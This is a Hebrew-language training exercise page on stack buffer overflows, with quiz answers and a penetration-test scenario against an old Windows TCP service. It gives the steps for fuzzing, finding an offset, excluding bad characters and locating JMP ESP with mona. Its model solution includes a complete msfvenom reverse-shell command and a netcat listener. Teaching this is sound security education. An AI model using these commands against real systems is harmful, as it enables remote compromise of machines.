

מודול 10 — Buffer Overflow — תרגול

חומר לימוד

1 יחידות

תוכן העניינים

1. 🧠 תרגול — מודול 10: גלישת חוצץ (Buffer Overflow)

תרגול — מודול 10: גלישת חוצץ (Buffer Overflow) 🧠

חלק א' — שאלות תרגול (עם תשובות). חלק ב' — תרגיש מהחיים האמיתיים.

חלק א' — שאלות תרגול

- Q1.** מהו Buffer Overflow, ומהי טעות התכנות שגורמת לו?
- Q2.** מהו תפקיד ה-EIP, ולמה הוא היעד של תוקף?
- Q3.** מה ההבדל בין Fuzzing למציאת Offset? באיזה כלי משתמשים לכל אחד?
- Q4.** מדוע כותבים את כתובת ה-JMP ESP בפורמט Little-Endian? תן דוגמה.
- Q5.** מהם Bad Characters, ומה יקרה אם נשכח לזהות אחד?
- Q6.** למה משתמשים ב-JMP ESP במקום לכתוב ישירות את כתובת ה-Shellcode?
- Q7.** מה תפקיד ה-NOP Sled (\x90)?
- Q8.** מהו הדגל ב-msfvenom להחרגת בתים רעים?

תשובות ✅

- גלישת קלט מעבר לגודל החוצץ, שדורסת זיכרון סמוך (כולל EIP). הסיבה: **חוסר בדיקת אורך קלט** (למשל strcpy).
- EIP מצביע להוראה הבאה להרצה; שליטה בו = שליטה בזרימת הריצה → הפניה ל-Shellcode.
- Fuzzing** מוצא בערך מתי קורס (עולה בכמויות); **Offset** מוצא את הבית **המדויק** של EIP עם msf-pattern_offset /pattern_create.
- כי x86 מאחסן כתובות בזיכרון בסדר בתים הפוך. 625011AF → \xaf\x11\x50\x62.
- בתים שהתוכנה מפרשת כתו-בקרה (כמו \x00) ומקצצת/משבשת. בית רע שלא זוהה **יהרוס את ה-Shellcode** והניצול ייכשל.
- כתובת ESP משתנה בין ריצות; JMP ESP היא הוראה **קבועה** במודול שמפנה תמיד ל-ESP (שם ה-Shellcode) — אמין יותר.
- “מרווח נחיתה” של פקודות ריקות — ה-CPU מחליק דרכן עד ל-Shellcode, גם אם ESP לא מצביע בדיוק להתחלה.

8. `"\x00" -b` (אפשר לרשום כמה: `"\x00\x0a\x0d" -b`).

חלק ב' — תרחיש מהחיים האמיתי

🧨 "התוכנה הפנימית הישנה"

במהלך בדיקת חדירה פנימית, מצאת שרת Windows שמריץ אפליקציה עסקית ישנה (מ-2008) שמאזינה על פורט TCP. חשד ל-BOF.

1. Fuzzing – שולח כמויות גדולות → קורס ב-1200 בתים Python סקריפט.
2. Offset – `msf-pattern_create -l 1500 → EIP=6A413969 → offset=1146`.
3. EIP – `A×1146 + B×4 → EIP=42424242` ✓ שליטה.
4. BadChars – `\x00, \x0a, \x0d` (הפרוטוקול מבוסס-טקסט).
5. JMP ESP – `!mona modules → מודול ללא הגנות → !mona find -s "\xff\xe4"`.
6. Shellcode – `msfvenom ... -b "\x00\x0a\x0d" ←` החרגת שלושתם!
7. Shell – `nc -lvnp 4444 → הרצה → Shell` כ-SYSTEM.

המשימה: 1. מדוע חובה כאן להחריג **שלושה** בתים ולא רק `\x00`? מה היה קורה אם היינו שוכחים את `\x0a`? 2. אם ה-Shell מתקבל אך **קורס אחרי שנייה** — מה כנראה חסר ב-`msfvenom`? (רמז: `EXITFUNC`). 3. כתוב את שורת ה-`msfvenom` המדויקת לתרחיש הזה.

💡 פתרון מנחה

1. הפרוטוקול טקסטואלי → `\x0a` (LF) ו-`\x0d` (CR) נחשבים סוף-שורה ומקצצים את ה-payload. שכחה של `\x0a` → ה-Shellcode ייחתך באמצע ולא ירוץ.

2. חסר `EXITFUNC=thread` — בלעדיו ה-Shellcode מסיים את התהליך כולו במקום רק את ה-thread, וה-Shell קורס.

3. `msfvenom -p windows/shell_reverse_tcp LHOST=<kali> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f python -v shellcode`

🎯 בעולם האמיתי, תוכנות legacy הן קרקע פורייה ל-BOF. היכולת לזהות, לנתח ולנצל אותן = ערך אמיתי בבדיקת חדירה.

← חזרה למודול · תרגילים מעשיים